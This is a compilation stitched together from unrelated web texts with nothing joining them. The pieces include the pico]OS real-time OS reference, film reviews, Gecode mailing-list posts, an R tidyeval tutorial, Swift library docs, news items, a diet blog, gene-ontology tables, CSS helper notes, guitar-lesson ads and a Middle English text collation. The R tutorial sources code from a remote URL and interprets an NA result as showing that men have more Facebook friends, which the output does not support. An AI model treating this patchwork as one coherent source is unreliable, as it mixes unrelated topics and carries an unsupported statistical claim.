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User API Function Reference
Overview
pico]OS is a highly configurable and very fast real time operating system. It targets a wide range of architectures, from the small 8 bit processors with very low memory till huge architectures like 32 bit processors with lots of memory.
Features
pico]OS is currently divided into two layer. The pico-layer (the core of the operating system) includes this features:
Scheduler:
- two modes: standard priority based or round robin
- preemptive multitasking
- max. 64 tasks on 8 bit processors, max. 1024 tasks on 32 bit processors
- round robin: max. 8 priority level on 8 bit processors, max. 32 priority level on 32 bit processors
Events:
- the number of events is unlimited
- semaphores
- mutexes
- flag events
Message Boxes:
- one built in message box per task
- unlimited box size, messages are collected
- messages can be pointers or huge buffers
Timer:
- autonomous running timer, the system timer interrupt is used as timebase
- timer can work in one shot mode or in auto reload mode
- when a timer expires, it triggers a semaphore event
Software Interrupts:
- up to 256 simulated software interrupts on 8 bit processors
- can be used to interface fast hardware interrupts outside the scope of pico]OS to the operating system
Miscellaneous:
- atomic variables
- blocking and nonblocking lists
- debugging support allows access to internal structures
The optional nano-layer supports:
- Bottom Halfs for interrupt service routines
- Multitasking able console I/O
- Multitasking able dynamic memory management
- Standardized API for easier task creation
- Named tasks, semaphores, mutexes and timer
- CPU usage measurement
Available Ports
Currently, ports to the following platforms are available:
- Intel 80x86 in real mode, the executable is loadable from DOS
- MS Windows 32bit port, usefull for software development and debugging
- 6502 / 65c02 / 6510 series, port for Commodore 64 available. Minimum configuration (4 tasks): 4.6kb code, 4.7kb data
- PowerPC: IBM PPC440 (GNU C and MetaWare compiler supported)
- AVR (ATMega, GNU C compiler supported)
- ARM: SAMSUNG S3C2510A CPU (ARM940T core), Philips LPC ARM chips, Cortex-M0 and Cortex-M3
- Texas Instruments MSP430 family
- Unix (using setcontext/getcontext), for development and testing purpose only)
- MyCPU (see http://www.mycpu.eu)
Files
The pico]OS Real Time Operating System consists of only a couple of files:
- picoos.h
- This header is the interface to the operating system. It is included by the pico]OS core and must also be included by user applications.
- poscfg.h
- pico]OS configuration file. Must be supplied by the user.
- noscfg.h
- nano layer configuration file. Must be supplied by the user.
- port.h
- Configuration file for the port. Must be supplied by the user / port developer.
- picoos.c
- The pico]OS core source file. This is the operating system.
- n_xxxx.c
- The nano layer source files.
- fbit_gen.c
- This file implements a set of generic "findbit" functions. The "findbit" function is needed by the operating system. The user may support its own "findbit" function to increase performance on a particular architecture.
- arch_c.c
- User supplied file. This is the architecture specific C-code of the platform port.
- arch_a.asm
- User supplied file (optional). This is the architecture specific assembler code of the platform port.
License
Copyright (c) 2004-2012, Dennis Kuschel.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
- Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
- The name of the author may not be used to endorse or promote products derived from this software without specific prior written permission.

Contact Information
Dennis Kuschel
Kurt-Georg-Kiesinger-Allee 14
28279 Bremen
GERMANY
mail: denni.nosp@m.s_k@.nosp@m.freen.nosp<EMAIL_ADDRESS>web: http://picoos.sourceforge.net
(C) 2004-2012 Dennis Kuschel


Go
Yes, another film in the Pulp Fiction genre.
Is _Go_ good? Depends. If you loved _Pulp Fiction, then perhaps you'd like _Go_. Or come out disappointed. Or wonder how many plot twists from the latter were lifted from the former.
_Go_ details the events that occurred before and after a disastrous drug deal. The word "go" is, to my knowledge, uttered three times, at three significant points, meaning three different things. These three stories are told, within the same twenty-four hour time frame.
Because the stories are incredibly loony, with coincidences abounding, the film falls into the terrible trap of coming up with as many vices that could be conjured up within the small time frame. More than once, you hear one character say "Don't do this..." only to have it done later. For these moments, the film is predictable.
But to its credit, many of the plot twists are totally unprecedented. Kudos goes to William Fichtner, (great in _Contact_, terrible in _Armageddon_). His role is so well executed that when the punch line comes, it's from a totally unexpected track, that is both maddening and hysterical.
The same goes for the rest of the cast: not a stinker in the bunch. Katie Holmes and Sarah Polley show true star potential, far different from their previous work. Jason Flemyng has come a long way from _Scream 2_, as the heinous drug-dealer, who is as concerned with getting his fare share as how bad "Family Circus" is.
But because of its setup, you can't help but recognize how totally artificial the exercise is. Hear me out. Sarah Polley's character is being kicked out of her apartment. Christmas Day. And she works three shifts in a row to help make ends meet. Excuse me? And that's before the story kicks in. Suffice it to say, you can only wonder what got into the heads of Doug Limon (director) and John August (screenwriter) who have her go through much more, only to return to work the next day.
And what to make of the total role-reversal that Holmes' character goes through? She is kept at Flemyng's grungy apartment as bait, until Polley gets back. She is terrified of him. Later, she makes a series of decisions that contradict everything we had seen before.
_Go_ doesn't exist to fully make sense. It exists as a throwaway vehicle for its stars, all of which have a good future before them. It (thankfully) doesn't take itself seriously (the scene where the Macarena is playing is a prime example). So it's fun, and it's incredibly busy, even though the film in general doesn't follow the rules of ordinary logic.
Nick Scale (1 to 10): 7
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[gecode-users] Gecode 2.1.0, Gecode/J 2.1.0, Gecode/FlatZinc 1.2 released
Guido Tack
tack at ps.uni-sb.de
Fri Feb 29 16:58:18 CET 2008
We would like to announce the release of
Gecode 2.1.0
http://www.gecode.org
This release makes two essential contributions: a partly reimplemented
kernel that is faster, is simpler, and uses less memory and lots of
small and not so small fixes. This release is the first release where
really everything that we can test (rather than everything that we
initially believed to matter) has been systematically tested. So,
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Apart from that, the value range for variables has been increased
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We also release
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Both Gecode/J and Gecode/FlatZinc have been updated to work with
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On our web site, you will find source packages as well as binary
packages for Windows and Mac OS X.
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Recently, since dplyr
<= 0.6.0 a new way of dealing with NSE was introduced, called tidyeval. As with every topic that begs our attention, the question “why bother” is in place. Theone answer is “you’ll need this stuff if you want to lock dplyr verbs inside a function”. Once you like dplyr
and friends, a natural second step is to use the ideas not only for interactive use, but for more “programming” type, ie., writing functions.
The topic of this post is to explain some of the ’tidyeval’ thinking. That is, let’s write a function using tidyeval thinking.
Build a function using tidyeval ideas
As an example, assume we want to have a function that takes two numeric vectors (ie., two groups), performs all pairwise comparisons (>), and returns the proportion ‘favorable’ for the first group. Say, out of 20 comparisons, 16 showed that group1 > group2. Hence, the ‘proportion of favorable comparisons’ would be 16/20 or .8. This measure can be seen as an effect size for the Mann Whitney U Test, Wilcoxon Test or even some type of rank biserial correlation. See the nice paper on the “Simple Difference Formula” of Kerby 2014 for details and background.
First, load tidyverse.
library(tidyverse)
Let’s take the mtcars dataset, I know it’s boring, but instructive, I hope.
So, here comes the function prop_fav
:
prop_fav <- function(df, value, group, g1, g2){
value <- enquo(value)
group <- enquo(group)
df %>%
filter((!!group) == g1) %>%
select(!!value) %>%
pull -> values_g1
df %>%
filter((!!group) == g2) %>%
select(!!value) %>%
pull -> values_g2
values_g1 <- na.omit(values_g1)
values_g2 <- na.omit(values_g2)
comp_grid <- expand.grid(values_g1, values_g2)
fav_vec <- comp_grid[["Var1"]] > comp_grid[["Var2"]]
fav_sum <- sum(fav_vec)
fav_prop <- fav_sum / nrow(comp_grid)
return(fav_prop)
}
tidyeval steps explained
What did we do? Let’s look at the steps in turn:
# don't run these lines, only run function 'fav_prop'
value <- enquo(value)
group <- enquo(group)
With enquo
we take the parameter of a function as expression. That means, we do not evaluate it, we just take the expression, leave it on hold, and use it later on.
Then we extract the values of group 1 and group2 out of the data frame (assumed tidy). In tidy data frames, each variable has its own column. So we need to do some work to get the values extracted.
Don’ t run the following lines, simply run the function ‘fav_prop’.
# don't run these lines, only run function 'fav_prop'
df %>%
filter((!!group) == g1) %>%
select(!!value) %>%
pull -> values_g1
df %>%
filter((!!group) == g2) %>%
select(!!value) %>%
pull -> values_g2
See the !!
; they mean “hey R, remember the expression I stored recently? Now take it, and ‘unquote’ it, that is, just run it!”. The double exclamation mark is just syntactic sugar for that phrase.
pull
, also recently added to dplyr, pulls out a vector (column) out of a data frame.
And in the last bit, we take the two vectors, span a Cartesian product and do a comparison of each element. More bluntly, take the first value of group 1 and compare it with value 1 of group 2. Decide which is greater. Go on comparing value 1 with the rest of values in group 2. And then go on with the rest of the values of group 1 in the same manner.
Then we simple compute the proportion where a member of group 1 had a greater value than a member of group 2. The proportion resulting is a measure of the effect size for the difference in distribution of the two groups.
# don't run these lines, only run function 'fav_prop'
comp_grid <- expand.grid(values_g1, values_g2)
fav_vec <- comp_grid[["Var1"]] > comp_grid[["Var2"]]
fav_sum <- sum(fav_vec)
fav_prop <- fav_sum / nrow(comp_grid)
Convenience sourcing
For convenience, this function can be sourced like this:
source("https://sebastiansauer.github.io/Rcode/prop_fav.R")
Example time
Now, some examples. Comparing cars with 4 and 6 cylinders, how many of the 4 cylinder group has more horse power? Or, more precisely, “Out of 100 comparisons of 4 and 6 cyl cars, what’s the proportion of 4 cyl cars having more hp (than the 6 cyl group)?”.
prop_fav(df = mtcars, value = hp, group = cyl, g1 = 4, g2 = 6)
## [1] 0.06493506
About 6%. Accordingly, in ~94% of the comparisons, a 6 cyl car had more horse power.
prop_fav(df = mtcars, value = hp, group = cyl, g1 = 6, g2 = 4)
## [1] 0.9350649
Let’s look at extraversion, coming from this dataset:
# devtools::install_github("sebastiansauer/prada")
data(extra, package = "prada")
Let’s compare women and men to see how is more extrovert.
prop_fav(df = extra, value = extra_mean, group = sex, g1 = "Frau", g2 = "Mann")
## [1] 0.4867873
Women are about as extroverted as men.
What about the number of Facebook friends?
prop_fav(extra, n_facebook_friends, sex, g1 = "Frau", g2 = "Mann")
## [1] NA
Men have slightly more Facebook friends (in this sample).
Concluding thoughts
Note that this measure can be applied for non-metric, ie., ordinal variables. It is quite straight forward, that makes it easy to comprehend.
Using tidyeval can give a headache at start, but it is worthwhile if you want to dig deeper, and write your own functions. However, there may be some similar alternatives such as wrapr::let
, see here.
This was just a tiny little start. Hadley Wickham’s book ‘Advances R’ gives a much more thorough introduction.


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DIRECTED BY: Martin Scorsese WRITTEN BY: Melissa Mathison
MPAA: Rated PG-13 for violent images.
RATING: 9/10 - BEST PICTURE - #6
"I think that I am a reflection of the moon in the water. When you see me, and I am trying to be a good man, you see yourself". - The 14th Dalai Lama, "Kundun"
The sons of Genghis Khan gave the Dalai Lama his name. It means "Ocean of Wisdom". In a wartorn Asia, Tibetans have practiced non-violence for over a thousand years. The Dalai Lama is their ruler. He is the human manifestation of the Buddha of Compassion.
In 1933 the 13th Dalai Lama died. Four years later, a holy man, disguised as a servant, found himself in a far corner of Tibet. He was searching for the 14th Dalai Lama. His search was almost at an end.
A Buddha had been reborn.
Undoubtedly one of the greatest achievements of the year, 'Kundun' is a rare cinematic experience, that intoxicates you with its majestic poetry, beauty and spiritual symbolism. It is also the most unexpected, coming from a director whose style and history makes him the last possible choice ( with the exception of directors such as nJames Cameron and Roland Emerich) for a picture such as this. The director is Martin Scorsese. Yes, the same Martin Scorsese that gave you 'Raging Bull', 'Taxi Driver' , 'Goodfellas' and 'Casino' . Believe me, there is nothing in his latest picture that suggests that you're watching 'A Martin Scorsese Film', with the exception of the incredible talent that he has with storytelling.
``Kundun'' is structured as the life of the 14th Dalai Lama, but he is simply a vessel for a larger life or spirit, continuing through centuries. That is the film's strength, and its curse. It provides a deep spirituality, but denies the Dalai Lama humanity; he is permitted certain little human touches, but is essentially an icon, not a man. His human needs are therefore completely overseen by his advisors and teachers. The sudden transition from being a child to becoming the spiritual ruler of Tibet, does have a terrible price. The tragedy is of course the complete alienation from the world that this little boy knew, from his parents and friends. The loss of childhood and humanity comes simultaneously with the demand of the impossible from a child: wisdom, rightisnous, commitment and purity of soul. The Chinese have invaded Tibet. Kundun, frightened and confused, asks his advisors in disappear: ``What can I do? I'm only a boy.'' His advisers say, ``You have chosen to be born again. You must know what to do.'' Unlike Scorsese's portrait of Jesus in ``The Last Temptation of Christ,'' this is not a man striving for perfection, but perfection in the shape of a man. The film is made of episodes, not a plot. It is like illustrations bound into the book of a life. Most of the actors are real Tibetan Buddhists, and their serenity in many scenes casts a spell.
There is a world somewhere that doesn't base itself on war, where technology does not exist. Where people live in total harmony with nature that surrounds them. Majestic mountains, that shine like gigantic diamonds in the sunlight, cast silver sparkles into the waters that are as clear as the mountain-air. A castle of colors and light can be seen in the horizon. Indeed the production designer Dante Feretti ('Dracula', "Interview With The Vampire") has created a world of mystique and color that is more magical than any fairytale. His set and costume design proves invaluable, providing the unformed clay that the cinematographer Roger Deakins ('Fargo') moulds with light and shade, adding life and emotion to Feretti's mystical structures. It's exceptionally beautiful, almost hypnotizing -- a swirl of sound and illumination. Philip Glass' score, composed using native Tibetan instrumentation, enhances the rarefied atmosphere. Glass's familiar compositional techniques are wedded on Kundun to a sensitive use of ethnic instruments and the voices of the Gyuto Monks, adding an aura of spiritual power missing from most Hollywood fare. The incredible blend of technical and visual achievements form a collection of magical images of pure artistic wizardry that will hold you under Scorsese's spell for these 2 hours .
Scorsese's picture is not a film that debates about the dogmas of Buddhism, nor does it concentrate on the battle between religion and politics. But it does clearly depict how the control of the totalitarian system kills all hope, magic and individuality. It does also portray the contrast between the ancient world and the 'progressive' society, clearly symbolized by the silent battle between heavenly colors of light and the void of darkness. Is it possible to survive without conflicts and war, and uphold the ancient traditions in our rapidly changing world? Most of all it is a spiritual journey. Scorsese opens the door to a world beyond our reach and comprehension. A way of life so different from ours that it gives us the opportunity to meditate over our western life style and society. It is simply one of the most magical, rare films that have entered the silver screen for some time.
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#include <CGELLinearSpring.h>
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| cGELLinearSpring (cGELMassParticle *a_node0, cGELMassParticle *a_node1) | |
| Constructor of cGELLinearSpring. More... | |
| ~cGELLinearSpring () | |
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| void | render () |
| This method graphically renders this spring using OpenGL. More... | |
| void | computeForces () |
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| chai3d::cColorf | m_color |
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| cGELMassParticle * | m_node1 |
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| double | m_kDamperElongation |
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| double | m_length0 |
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| static double | s_default_kSpringElongation = 100.0 |
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[gecode-users] how to use the bab() function
lana light
lanalight1989 at gmail.com
Tue Dec 3 17:48:20 CET 2013
Hi
I'm new with gecode , so i tried to use the BAB engine to solve my model
because i want just to gt the bst solution so i found in the MPG the
function bab() that can help me do it my problem here that i don't know
when to put it :
this is my main :
*int main(int argc, char* argv[]) {*
* manel* m = new manel;*
* BAB<manel> e(m);*
* delete m;*
* while (manel* s = e.next()) {*
* s->print(); delete s;*
* }*
* system("pause");*
* return 0;*
*}*
so here i try to get all the solution but i want just the best so could you
tell me where to put *bab()* exactly , it seems stupid but i don't konw
Thankx
LANA
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Diana Ross to headline final season of Cork's Live at the Marquee series
by By Conall Ó FáthartaMotown icon Diana Ross is to play the Marquee in Cork next June.
Alongside Dusty Springfield, Aretha Franklin, Martha Reeves and Dionne Warwick, Ross is considered one of the original pop divas of the 1960s.
She will play The Marquee in Cork on June 25, as will be revealed in an advert in Tuesday's Irish Examiner, ahead of her appearance at the Glastonbury festival the following Sunday. Tickets go on sale on November 25 at 9am.
Ross rose to fame in girl group The Supremes, before launching her solo career as a disco singer the 1980s.
Her back catalogue includes hits like Baby Love, Upside Down and I’m Coming Out.
Cat Stevens will perform at the Marquee on June 24, Jenny Greene returns to Cork with the RTÉ Concert Orchestra on June 26 while Christy Moore brings 'Magic Nights' to the tent on June 27.
The long-running Live at the Marquee concert series comes to an end in 2020 as developers who own Cork Showgrounds intend to be on site after concerts finish next summer.
Up to 1,000 homes are expected to be built on the land to tie in with the expansion of the city into brownfield dockland sites.
Additional reporting by Digital Desk


 During the whole February, I felt something was off. I was kinda rebellious. I wanted to do something different from of my routine. I simply wanted to quit.
Hence, no strict rule of eating during the whole month, which led to bad diet and weight gain. The workout/exercise was still OK. I managed to keep my exercise for most of the weeks. I did miss 1 or 2 days for certain weeks but it was still OK for my standard.
This whole “off mood” scenario seems to be caused by certain factors :
1- No significant weight loss Weight loss was my biggest motivator to keep me going. I knew I could reduce at least 1kg per week. However, lately, it seems that’s a bit hard to achieve. Sometimes, I felt I had reached a plateau.
 Hence, I went to look for reliable scale. Bought a new one, but the new one seems to be showing varying readings depending on where I put the scale.
I was obsessed with the accuracy and this new scale didn’t live up to my expectation.  I had been doing the same routine for few months already.
 Instead of focusing on the weight readings, I should change my focus to my activity. Let’s just eat right and keep exercising. Slowly, the results will take care itself.
2- If it’s right, keep doing it If you have been exercising all this while, why do have to feel dissapointed when there is no result ?  Focus on the process and activity.
3- Lifestyle This is the ultimate solution. Turn your good habit into lifetyle. No matter the result. Lifestyle will keep you going whenever you face any adversary.
4- No more “it’s just this one time” attitude This same excuse or some sort of similar excuse has plagued those who want to change for the better. Truth is, this is just an excuse you tell yourself to do what you shouldn’t do in the first place. You just want to avoid that guilty feeling. That’s all.


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- Global Search
- Interfaces
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- Notifications
- Orchestration
- Update Sets
- Upgrades
- ATF
- Workflow
- Edge Encryption
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UI
- Tiny MCE
- Smart copy/paste (4.4.3)
- Improved image uploader
UI
- List V3
- Performance improvements
- Workflow stage icons are back!
- Live lists
- Related lists are V3 by default
UI
- UI Action Styles
- HTML5 videos inline in activity stream
- Double tap to open context menus on tablet
UI
Mobile
Mobile
Security/Authentication
- SAML enhancements – improved maintenance/testing
- Limit concurrent sessions
Security/Role Management
- Improvements to de-duplicate entries on sys_user_has_role
- Cyclical checks (x contains y contains z contains x)
- Improved capability to go from V1 to V2
- Filter builder
- User criteria – Portals, pages, widgets, and widget instances
- Plugin (and property) required
- Search sources: contextual
- WCAG level AA
- Search Sync
- Faster responses
- Better organization
- Info bar on top
- Groups on right
- text_search view
- Custom renderers
- Sharable URL
Interfaces
Interfaces
- JSON Import/Export
- Import via data source
- Export from list UI
- Export from export sets
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Hi, I'm Gourav Khadge. I'm a general engineering major at Harvey Mudd College
interested in digital engineering, signal processing, sensors, autonomous navigation,
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I aim to push the frontiers of engineering to bring novel products towards a greater society.


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ToF-SIMS elemental depth profiles of Ti 75Ni 15Cu 10 ( a) as-deposited (using a as the index) and after heat treatment at 373 K for 110 h (using b as the index) and Ti 10Ni 50Cu 40 ( b) as-deposited and after heat treatment at 373 K for 110 h (different colour of the background represents different element layers).


FixtureFactory
open class FixtureFactory
extension FixtureFactory: FixtureResolver
This class contains all the model fixture definitions. Fixtures provide a convenient way to generate new model instances for testing / seeding your application’s database.
-
Creates a new empty FixtureFactory.
Declaration
Swift
public init()
-
Define a new fixture for the specified object type.
Declaration
Swift
public func define<T>( for objectType: T.Type, name: AnyHashable = DataFixtureConfig.defaultName, _ fixtureClosure: @escaping (Faker, FixtureAttributes, FixtureResolver) -> T, _ jsonClosureFixture: @escaping (T, FixtureResolver) -> [String: Any] = { (_, _) in [:] } )
Parameters
objectType
The object type.
name
The name of the fixture.
fixtureClosure
The fixture closure to build a new object type.
jsonClosureFixture
The json fixture closure to build a JSONObject of the object type.
-
Define a new fixture for the specified object type.
Declaration
Swift
public func define<T, F: Fixture>( for objectType: T.Type, name: AnyHashable = DataFixtureConfig.defaultName, fixture: F.Type ) where F.Object == T
Parameters
objectType
The object type.
name
The name of the fixture.
fixture
The fixture to build a new object type.
-
Define a new fixture for the specified object type.
Declaration
Swift
public func define<T, F: Fixture & JSONFixture>( for objectType: T.Type, name: AnyHashable = DataFixtureConfig.defaultName, fixture: F.Type ) where F.Object == T
Parameters
objectType
The object type.
name
The name of the fixture.
fixture
The fixture to build a new object type and a new JSONObject of the object type..
-
Declaration
Swift
public func resolve<T>(_ objectType: T.Type, name: AnyHashable) -> FixtureBuilder<T>


Snapshots
Snapshots are one of the most versatile features of Vexil. They are used to support real-time flag monitoring using
Combine
and provide the primary source of mutability to a FlagPole
.
Subscribing to flag changes ¶
A key part of declarative programming is the ability to react to changes over time. Vexil supports this by declaring a Publisher
that will deliver a Snapshot
of the FlagPole
any time one of its values changes.
This could be the addition or removal of a FlagValueSource
or one of those sources reporting the change. Either way, a new Snapshot
will be delivered that you can subscribe to.
let flagPole = FlagPole(hoist: MyFlags.self)
flagPole.publisher
.sink { snapshot in
// ... do something with the flag snapshot
}
Subscribing to individual flags ¶
A common approach is to subscribe to an individual flag and update your app in response to any changes in that flag’s value:
let flagPole = FlagPole(hoist: MyFlags.self)
flagPole.publisher
.map { $0.subgroup.myBooleanFlag }
.removeDuplicates()
.sink { flag in
// .. do something when flag changes from false <-> true.
}
An in fact Vexil provides a convenience Publisher
for this scenario:
let flagPole = FlagPole(hoist: MyFlags.self)
flagPole.subgroup.$myBooleanFlag.publisher
.sink { flag in
// .. do something when the flag value changes
}
Note: If the type of your Flag
also conforms to Equatable
, the flag-specific publisher will emit the value only when it has changed (using removeDuplicates()
). If your Flag
does not conform to Equatable
it will skip removing the duplicates and emit every time the FlagPole
changes.
Mutating the FlagPole ¶
Having the FlagPole
be immutable directly was a deliberate design decision. It prevents a category of programming mistakes (eg. flagPole.myFlag = true
), but it also keeps the API simple and easy to reason about.
That said - mutating the FlagPole
is still very straight forward as each Snapshot
also conforms to FlagValueSource
- that means it can be added into your FlagPole
's source hierarchy in any position:
let flagPole = FlagPole(hoist: MyFlags.self)
// create an empty Snapshot and change the values we want
let snapshot = flagPole.emptySnapshot()
snapshot.subgroup.myBooleanFlag = true
// insert that snapshot at the top of the hierarchy so it overrides all the rest
flagPole.insert(snapshot: snapshot, at: 0)
The source hierarchy is also accessible via FlagPole._sources
if you want to manipulate it directly.
Mutating a FlagValueSource ¶
Snapshot
s also provide a way to modify a FlagValueSource
, so you could use it whenever you need to update the UserDefaults
, for example. This is the same capability
Vexillographer
uses to provide its flag editing user interface.
let flagPole = FlagPole(hoist: MyFlags.self)
// create an empty Snapshot and change the values we want
let snapshot = flagPole.emptySnapshot()
snapshot.subgroup.myBooleanFlag = true
// save that to the UserDefaults
try flagPole.save(snapshot: snapshot, to: UserDefaults.standard)
How Snapshots work ¶
You can think of Snapshot
s as a simple mutable dictionary of flag values. It is literally a [String: Any]
where the string key corresponds to the flag’s key, and the value is the Flag’s value. It then uses the same logic as a FlagPole
in routing requests for the flag’s value to the internal dictionary.
This follows the design philosophy in Vexil that a FlagValueSource
should only return a value if it has been explicitly set in that source, and should otherwise return nil
to allow the next FlagValueSource
to be consulted.
Creating Snapshots ¶
There are two ways to create a Snapshot
, empty or full.
Empty Snapshots ¶
When taking an empty snapshot, its internal dictionary is also empty, and the request for the Flag’s value (when used as a FlagValueSource
) will be nil
. If you access the Flag.wrappedValue
property directly (eg. flagPole.subgroup.myBooleanFlag
) it will return the flag’s default value.
Empty snapshots are typically used for mutating the FlagPole
or a FlagValueSource
.
let flagPole = FlagPole(hoist: MyFlags.self)
let snapshot = flagPole.emptySnapshot()
Full Snapshots ¶
When taking a full snapshot, the FlagPole
will walk the flag hierarchy and copy the current value of every flag into the Snapshot
, so the internal dictionary will contain every flag key => value currently known.
Full snapshots are used by the FlagPole
's Publisher
when emitting changes.
let flagPole = FlagPole(hoist: MyFlags.self)
let snapshot = flagPole.snapshot()


| GO:0016491 |
Oxidoreductase activity |
0.096062 |
Pgd protein |
| Lactate dehydrogenase A |
| Malate dehydrogenase |
| Putative malate dehydrogenase, partial |
| Lactate dehydrogenase B |
| Hypothetical protein AND_22292 |
| ATP:guanidino kinase (Smc74) |
| Gyceraldehyde-3-phosphate dehydrogenase |
| Succinate dehydrogenase iron-sulfur protein |
| Peroxiredoxin |
| Isocitrate dehydrogenase |
| Glutamate dehydrogenase |
| NADH-ubiquinone oxidoreductase 75 kDa subunit, mitochondrial-like, partial |
| Malic enzyme |
| Putative isocitric dehydrogenase subunit alpha |
| GO:0005198 |
Structural molecule activity |
0.006014 |
Tubulin beta |
| Tubulin alpha-1D chain |
| Tubulin alpha-1C chain-like |
| alpha-Tubulin |
| 40S ribosomal protein S4-like protein |
| 60S ribosomal protein L21 |
| 40S ribosomal protein S6 |
| Ribosomal protein S5a |
| Hypothetical protein CAPTEDRAFT_163836, partial |
| Tubulin beta-3 chain |
| EG10 |
| Myosin-like protein |
| Ribosomal protein S8 |
| Pyrroline-5-carboxylate reductase |
| Ribosomal protein S9 |
| Small subunit ribosomal protein S16e |
| Chaperonin GroEL |
| T-complex protein 1 subunit alpha |
| Adenylate kinase |
| Aspartate aminotransferase mitochondrial |
| DEAD box RNA helicase Me31B |
| Spliceosome RNA helicase bat1 |
| cAMP-dependent protein kinase catalytic subunit |
| GF14408 |
| Enolase |
| Starch phosphorylase, partial |
| Elongation factor 1 alpha |
| ADP-ribosylation factor-like |
| Hypothetical protein PANDA_003774 |
| Cytidine deaminase |
| Trimeric G-protein alpha o subunit |
| Guanine nucleotide binding protein (G protein) alpha o polypeptide |
| Hypothetical protein PANDA_008713 |
| Carboxypeptidase A1 |
| Calreticulin, partial |
| Cytochrome c |
| Centractin alpha, partial |
| GTP binding protein |


DailyCode 38
As promised I moved on to greener pastures in DailyCode today. In February I'm deepening my skills in styling content types that are common on the web: type, photos, video and graphics. One content type per week, so today I worked with type.
I enclosed all of the type elements in borders in today's layout. This border is outlining the elements' content box. The width/height of this box is set by the width/height of the content within it, in this case the type. The size of the type is determined by its font-size, font-weight, line-height, letter-spacing, etc. Once I've chosen the typeface to work with it will be wise to structure each type element as a component and then to layout the components along a grid. It will be easier to layout the type accoring to proportions and other relationships. I definitely don't want to use a serif display face (unless its a slab maybe).
Last, it's interesting that using the letterforms and generic text to make design decisions only go so far. In the case of the letterforms, "type" on a page means more "functional type module" and less "letters". So the letters themselves can tell you about x-height, ascenders, or purpose, but it can't tell you if the face will actually work for your design. You need to see the face in action as a title, subtitle, parapgraph, etc. In the case of the generic text, the type has to be read and reading is a complex process. It's best to use the actual text to determine whether the face works or not. Although there are many decadent aspects of typography culturally, typography itself is couched in reality. I like that about it.


Jeremy Corbyn rules out Indyref2 in first Labour term even if SNP win majority in Scotland
During a visit to Scotland today the Labour leader insisted investment north of the border is his priority if voters put him in number 10 on December 12.
by Record ReporterJeremy Corbyn has ruled out holding a referendum on Scottish independence in the first term of a Labour government, even if the SNP gets a majority in Scotland.
In an interview as he kicked off his two-day tour of Scotland in Glasgow, Mr Corbyn said: "No referendum in the first term for a Labour government because I think we need to concentrate completely in investment across Scotland."
But pressed if it would be an undemocratic move if the SNP won a majority of seats in Scotland in the General Election , he said: "If the SNP win the majority of seats that's the election of those MPs. I'm very clear that a Labour government's priority is investment in Scotland."
Aides later backtracked and made it clear that Labour's position could change if the SNP won a majority in Holyrood in 2021.
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Cafe Analog Extension Settings
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Material CSS comes with various helpers to ease out complications, but don't use too much as it will result to complications. Wait what?
fluid
— adds display: block
and width: 100%
to the element.
italic
— italicizes the text inside the element.
oblique
— same as above. For the difference, read here.
bold
— bolds the text inside the element.
lighter
— changes the font-weight to 300 if available.
thin
— changes the font-weight to 100 if available.
muted
— changes the text color to #eee.
smaller
— changes the font weight to smaller.
align-left
— left-aligns the text.
align-right
— right-aligns the text.
align-center|centered
— center-aligns the text.
align-justify|justified
— justifies the text.
v-{top|middle|bottom}
— vertical-alignment.
uppercase|lowercase|capitalize
— text-transforms.
padded|nopadding
— adds an 8px padding; removes padding.
 Thank Jesus it's finished!


ARE EASY
Consists of 4 levels. For elementary guitar lessons, there is an understanding that the guitar beam is not of shape, no value, how to read, and apply it to the outside. Use a nylon guitar and play common classical songs.The target of the learning process for elementary guitar lessons is 6 months (from more than 70% to less than 6 months). Sometimes with our learning methods, not a few students can finish faster, this really depends on the seriousness, diligence and enthusiasm for learning.Assistance and discipline to learn from you / parents greatly help this process.
Private Guitar Fingerstyle / acoustics for the basis provided is not a guitar tabulation / tablature / TAB, no value, how to read, how to pick, guitar chords and their development. Use nylon guitar or stringed acoustic guitar and usually play songs that are Hit, children's songs, pop / rock public or you need the song you want with our guitar teacher. For those of you who have a fairly good level of play, you can also use guitar lessons in the blues / jazz genre and we are ready to serve you.
For those of you who choose a hobby class the learning process is 4 months. Not a few of our students survive faster.It really depends on the seriousness of your choice of material, diligence and enthusiasm for learning are crucial. Target according to music school standards is 6 months (more appropriate material).
Private electric guitar lessons for bases containing tabulations / tablature / TAB, scales on the guitar, introducing modes and their development, learning to make melodies, and understanding chord formulas. For all genres of pop, rock, blues, jazz, and others
is a state advocacy college located on Jl. Gegerkalong Hilir, Ciwaruga Village, Parongpong District, West Bandung Regency. At first POLBAN was named the Polytechnic of the Bandung Institute of Technology (ITB Polytechnic) because it was under the auspices of ITB. Since 1999, ITB Polytechnic has become an independent institution separate from ITB, so its name has changed to Bandung State Polytechnic.The current Director of POLBAN is Dr. Ir. Rachmad Imbang Tritjahjono, M.T. for the 2014-2019 period


Motivation
Pleasure, Passion and Higher Purpose
Mengy contrasts three types of happiness, taken from the insights of Tony Hsieh, a successful entrepreneur. Pleasure is "rock-star" happiness, and can't be maintained for long unless you are actually a rock-star of some kind (not many people are, unfortunately). Passion is "flow" where you are "in the zone". Higher purpose is the interesting one. It's about being part of something bigger than yourself. According to CM, pleasure and passion are not sustainable, and it is higher purpose that you should look to for long term happiness.
Some of my core values:
- Honesty extending to self-honesty. I strive to be honest, even brutally so. This is tricky because human nature means we tend to oversell ourselves as much as possible, but when I reflect I like to have a clear understanding of exactly where I stand.
- Curiosity. Questioning leads to greater understanding, and I try to leave nothing unanswered even if it is not the "standard" train of thought. Considering alternatives in greater depth can reveal more about the core problem.
- Freedom. This is again a tricky one because the definition of freedom can change depending on the weather. Many people have different ideas about what constitutes freedom, but generally I understand it to mean a right to responsibility for your own actions, as long as these don't impede on others directly. This is still certainly a grey area, but it's applicable to many things such as having financial freedom, freedom of thought, speech and other mediums of communication (however not necessarily other actions)!
The meditation exercise was not really "my jam". However the resilience ideas were interesting. Chade-mo continued to demonstrate his proficiency in eloquent metaphors with the analogy of happiness as a deep ocean, with a choppy surface at times but a calm bottom (this quote was actually attributed to Matthieu Ricard). I like to imagine the calm depths without all the nasty sea creatures lurking and killing each other.


| 1196 | (A) | was ouer the Cete sene sere Certayne tymes |
| 1199 | (C) | Ouur þe cyte were seene . at certeyne tymes |
| 1182 | (D) | Ouere þe Citee were sene in sundry tymys |
| 1159 | (E) | ouer þe cyte were y-seen . in many dyuerse tyme . |
| (Ex) | ---- no text ---- | |
